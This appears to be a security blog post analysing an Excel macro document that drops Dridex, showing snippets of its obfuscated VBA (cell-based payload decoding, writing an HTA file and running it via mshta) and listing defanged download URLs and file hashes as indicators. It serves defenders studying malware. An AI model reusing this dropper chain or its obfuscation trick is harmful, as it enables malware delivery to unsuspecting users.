Thursday, July 29, 2021

Analyzing an Excel Dridex Dropper

Summer 2021 has been rather rainy 🌧 so far... what better pastime than analyzing some malware? As an example we'll be using the maldoc sample 80fa4862d3d5ffe4a9d472f42e03a59874e76257c6e25c74de83b236f8f99777 which is provided for download from MalwareBazaar.

This maldoc sample is an .xlsm file, an Excel file based on the Office Open XML Format (OOXML) introduced with Microsoft Office 2007. The m denotes that the file includes macros, which of course will contain the malicious code. Since macros are disabled by default for untrusted sources, the document contains a notice asking the viewer to enable them – a common social engineering technique allowing the malicious code to execute on the system.

Let's inspect the contents of the macros using Didier Stevens' olevba:

We can see that the document contains a rather short VBA macro. It consists of a single subroutine called WorkBook_Open(), which will be executed when the file is opened (or as soon as macros are enabled). As obfuscation strategy the code contains many references to cells in the current worksheet. The values of these cells are assigned to a number of misleading variables names, which will be concatenated to produce a payload.

In order to inspect the worksheet cells, I uploaded the document to Google Docs. The lower part of the worksheet contains a large region of decimal numbers and also some strings like "mshta" or "Wscript.Shell" in cells scattered across the document, all of which are off-screen so that they aren't apparent at first sight.

 

Let's now dive into the VBA code. The first line refers to an environment variable and appends a string to it:
 
getTickLabelPositionNextToAxis9686 = Environ(Cells(170, 211)) & Cells(51, 76)
 
We can retrieve the values %ALLUSERSPROFILE% and the string \getAreaStacked1005705.sct from the corresponding cells HC170 and BX51, resulting in the file path C:\ProgramData\getAreaStacked1005705.sct stored into variable getTickLabelPositionNextToAxis9686:


Next, the worksheet Sheet1 is accessed (cell HI62) and the range B158:BP338 is selected from it (taken from cell HY70).

For Each getDColumnClustered1919 In ActiveWorkbook.Sheets(CStr(Cells(62, 217))).Range(CStr(Cells(70, 233)))
  getExcel97959228 = getExcel97959228 & Chr(Round(getDColumnClustered1919.Value))
Next getDColumnClustered1919

From this code we can see that each value in the range B158:BP338 corresponds to an ASCII character originating from its integer part. It was pretty straightforward to reproduce this decoding routine in Google Docs using Apps Script. The result is a payload of type HTML Application (HTA), which can itself execute embedded code, as we will see later.

Next, the HTA payload will be stored on disk using the path determined before (C:\ProgramData\getAreaStacked1005705.sct):

Open getTickLabelPositionNextToAxis9686 For Output As #1
Print #1, getExcel97959228
Close #1

Finally, the HTA payload will be invoked by using an instance of the Windows Scripting Host (Wscript.Shell.Exec), as taken from cell BI156:


With CreateObject(Cells(156, 61))
    .Exec Cells(64, 233) & getTickLabelPositionNextToAxis9686
End With

This in turn will create the mshta.exe process to interpret and execute the HTA file as can be see in this execution of the malware in app.any.run:

The HTA file contains a VBscript element from which we can see a list of download URLs for the second stage:

It will use a MSXML2.ServerXMLHTTP.6.0 instance with a user-agent value of "qPowerTalk" to download a DLL payload on C:\ProgramData\qMillions.dll (688bc9341860e2f04f307f162f71a628896bc6ca9fa200be54eee05a4b69cb72). The payload will get executed using rundll32.exe with entry point D2D1CreateFactory.


As we can see, this second stage sample has been classified as Dridex by several vendors:


Indicators

Files:
  • 80fa4862d3d5ffe4a9d472f42e03a59874e76257c6e25c74de83b236f8f99777 (maldoc)
  • 688bc9341860e2f04f307f162f71a628896bc6ca9fa200be54eee05a4b69cb72 (stage2)

Download URLs:

  • hxxp://docusignupdates[.]com:8088/files/icon_psn98.png
  • hxxp://azuredocs[.]org:8088/css/avatar_xgaf8d.png
  • hxxp://documentupdates[.]com:8088/templates/bacground_k8gad.png
  • hxxp://azuredocs[.]org:8088/javascript/empty_jquz.png
  • hxxp://mydocumentscloud[.]com:8088/app/button_umlnxz.png
  • hxxp://mydocumentscloud[.]xyz:8088/files/icon_psn98.png
  • hxxp://azuredocs[.]org:8088/js/empty_lfqcu.png
  • hxxp://mydocumentscloud[.]xyz:8088/uploads/empty_mtti.png
  • hxxp://docusignupdates[.]com:8088/javascript/bacground_ma8wvc.png
  • hxxp://docusignupdates[.]com:8088/uploads/icon_psn98.png

Sandbox runs: